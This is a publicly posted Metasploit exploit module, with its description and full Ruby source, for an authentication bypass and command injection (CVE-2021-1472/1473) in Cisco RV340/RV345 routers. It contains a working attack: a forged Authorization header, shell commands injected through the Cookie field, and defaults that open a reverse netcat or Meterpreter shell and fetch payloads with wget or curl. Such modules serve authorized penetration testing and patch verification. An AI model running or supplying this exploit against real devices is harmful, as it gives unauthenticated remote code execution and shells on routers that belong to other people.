Cisco Small Business RV Series Authentication Bypass / Command Injection

This Metasploit module exploits an authentication bypass (CVE-2021-1472) and command injection (CVE-2021-1473) in the Cisco Small Business RV series of VPN/routers. The device does not adequately verify the credentials in the HTTP Authorization field when requests are made to the /upload endpoint. Then the upload.cgi binary will use the contents of the HTTP Cookie field as part of a curl request aimed at an internal endpoint. The curl request is executed using popen and allows the attacker to inject commands via the Cookie field. A remote and unauthenticated attacker using this module is able to achieve code execution as www-data. This module affects the RV340, RV340w, RV345, and RV345P using firmware versions 1.0.03.20 and below.


MD5 | b129fe9e3d439d744bdb09a4943285e3

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco Small Business RV Series Authentication Bypass and Command Injection',
'Description' => %q{
This module exploits an authentication bypass (CVE-2021-1472) and command injection (CVE-2021-1473)
in the Cisco Small Business RV series of VPN/routers. The device does not adequately verify the
credentials in the HTTP Authorization field when requests are made to the /upload endpoint. Then
the upload.cgi binary will use the contents of the HTTP Cookie field as part of a `curl` request
aimed at an internal endpoint. The curl request is executed using `popen` and allows the attacker
to inject commands via the Cookie field.

A remote and unauthenticated attacker using this module is able to achieve code execution as `www-data`.

This module affects the RV340, RV340w, RV345, and RV345P using firmware versions 1.0.03.20 and below.
},
'License' => MSF_LICENSE,
'Author' => [
'Takeshi Shiomitsu', # Vulnerability discovery
'jbaines-r7' # Metasploit module
],
'References' => [
[ 'CVE', '2021-1472' ],
[ 'CVE', '2021-1473' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv-bypass-inject-Rbhgvfdx'],
[ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/39' ],
[ 'URL', 'https://www.iot-inspector.com/blog/advisory-cisco-rv34x-authentication-bypass-remote-command-execution/' ]
],
'DisclosureDate' => '2021-04-07',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'BadChars' => '\''
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'Payload' => {
'BadChars' => '\''
},
'CmdStagerFlavor' => [ 'wget', 'curl' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

# Sends the exploit. Authentication bypass is successful as long as the authorization field
# is present (we add a valid base64 value as well). Command injection occurs in the cookie
# field. Otherwise, various values need to be present in the /upload to satisfy the upload
# configuration logic. Randomized values to the best of our ability.
# @return res
def send_exploit(cmd)
options = Rex::Text.rand_text_alphanumeric(5..12)
destination = Rex::Text.rand_text_alphanumeric(5..12)
filepath = Rex::Text.rand_text_alphanumeric(5..12)
filename = Rex::Text.rand_text_alphanumeric(5..12)
filexml = Rex::Text.rand_text_alphanumeric(5..12)
uploadname = Rex::Text.rand_text_alphanumeric(5..12)
auth = Rex::Text.encode_base64("#{Rex::Text.rand_text_alphanumeric(5..12)}:#{Rex::Text.rand_text_alphanumeric(5..12)}")

multipart_form = Rex::MIME::Message.new
multipart_form.add_part(options, nil, nil, 'form-data; name="option"')
multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')
multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')
multipart_form.add_part(filexml, 'application/xml', nil, 'form-data; name="file"; filename="config.xml"')
multipart_form.add_part("#{filename}.xml", nil, nil, 'form-data; name="filename"')

# this xml data required as is
multipart_form.add_part('<input><fileType>configuration</fileType><source><location-url>' \
'FILE://Configuration/config.xml</location-url></source><destination><config-type>' \
'config-running</config-type></destination></input>', nil, nil, "form-data; name=\"#{uploadname}\"")

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/upload'),
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'headers' => {
'Cookie' => "sessionid='`#{cmd}`'",
'Authorization' => auth
},
'data' => multipart_form.to_s
}, 10)
end

# The system doesn't have a good way to snag the version. This check attempts the exploit
# with a command that returns immediately (id) and checks that the response looks like
# how a vulnerable target would respond.
def check
res = send_exploit('id')
return CheckCode::Unknown("Didn't receive a response from the target.") unless res
return CheckCode::Safe('The target did not respond with a 200 OK.') unless res.code == 200

if res.body.include?('"jsonrpc":"2.0"') || res.body.include?('<head><title>301 Moved Permanently</title></head>')
return CheckCode::Appears('The device responded to exploitation with a 200 OK.')
end

CheckCode::Safe('The target did not respond with an expected payload.')
end

def execute_command(cmd, _opts = {})
# parsing of the cookie field is thrown off by ;. Replacing with && works fine, but the only
# downside is if the payload fails then it won't clean up after itself. Oddly, device's sh
# required the spacing.
cmd = cmd.gsub(/;/, ' && ')
res = send_exploit(cmd)

# unix command holds the connection open. Meterpreter should not. I think this logic is fine though.
# If :unix_cmd gets a good check() value and then send_exploit returns with a nil response
# then that is a clear sign that :unix_cmd was successful
if target['Type'] != :unix_cmd
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200
body_json = res.get_json_document
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
end

print_good('Exploit successfully executed.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 120)
end
end
end

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